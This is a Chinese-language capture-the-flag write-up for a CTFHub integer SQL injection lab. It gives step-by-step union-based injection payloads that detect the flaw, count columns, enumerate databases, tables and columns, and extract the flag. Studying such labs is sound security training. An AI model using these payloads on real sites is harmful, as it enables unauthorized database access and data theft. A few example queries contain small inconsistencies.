CTFHub 整数型SQL注入

1、整数型SQL注入

步骤

1)判断是否存在注入

2)查询字段数量

3)查询SQL语句插入位置

4)获取数据库库名

5)获取数据库表名

6)获取字段名

7)获取数据

 

(1)判断是否存在注入

1)加单引号

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1’

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

2)加and 1=1

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

3)加and 1=2

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

 

(2)查询字段数量

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 2

当id=1 order by 2时,页面返回与id=1相同的结果;而id=1 order by 3时不一样,故字段数量是2。

 

 

 

(3)查询SQL语句插入位置

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,2

此时要先保证之前的数据查不出来,之后再union。id=-1数据不存在数据库中。可以看到位置2可以插入SQL语句。

 

 

 

(4)获取数据库库名

1)获取当前数据库库名

2位置修改为:database(),version()

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,database()

得到数据库名称为:sqli,由数据库版本可知他是MySQL的一个分支

 

 

 

 

2)获取所有数据库库名

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(schema_name)from information_schema.schemata

 

 

3)逐条获取数据库库名

语句:select schema_name from information_schema.schemata limit 0,1;

 

修改limit中第一个数字获取其他的数据库名,如获取第二个库名:limit 1,1。

 

(5)获取数据库表名

1)方法一:一次获取一个表名

2位置修改:select table_name from information_schema.tables where table_schema='sqli' limit 0,1;

得到数据库表名:news。修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

 

 

 

2)方法二:一次性获取当前数据库所有表名:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

得到数据库sqli中的表名为news和flag

 

 

 

(6)获取字段名

1)方法一:

以flag表为例,2位置修改为:

select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1;

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

看到flag表中第一个字段是flag, 修改limit中第一个数字,如获取第二个字段名:limit 1,1,依次类推,发现flag表中的字段名称只有一个flag。

 

 

2)方法二:

以flag表为例,一次性获取所有字段名:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

 

 

(7)获取数据

1)方法一:

以emails表为例,2位置修改为:

(select flag from sqli.flag limit 0,1)

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,(select flag from sqli.flag limit 0,1)

可以得到flag表中的第一条数据,修改limit中第一个数字,如获取第二个字段值

 

 

2)方法二:

以flag表为例,一次性获取所有数据:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(flag) from sqli.flag

 

posted @ 2020-04-09 22:27  ZM思  阅读(2296)  评论(0编辑  收藏  举报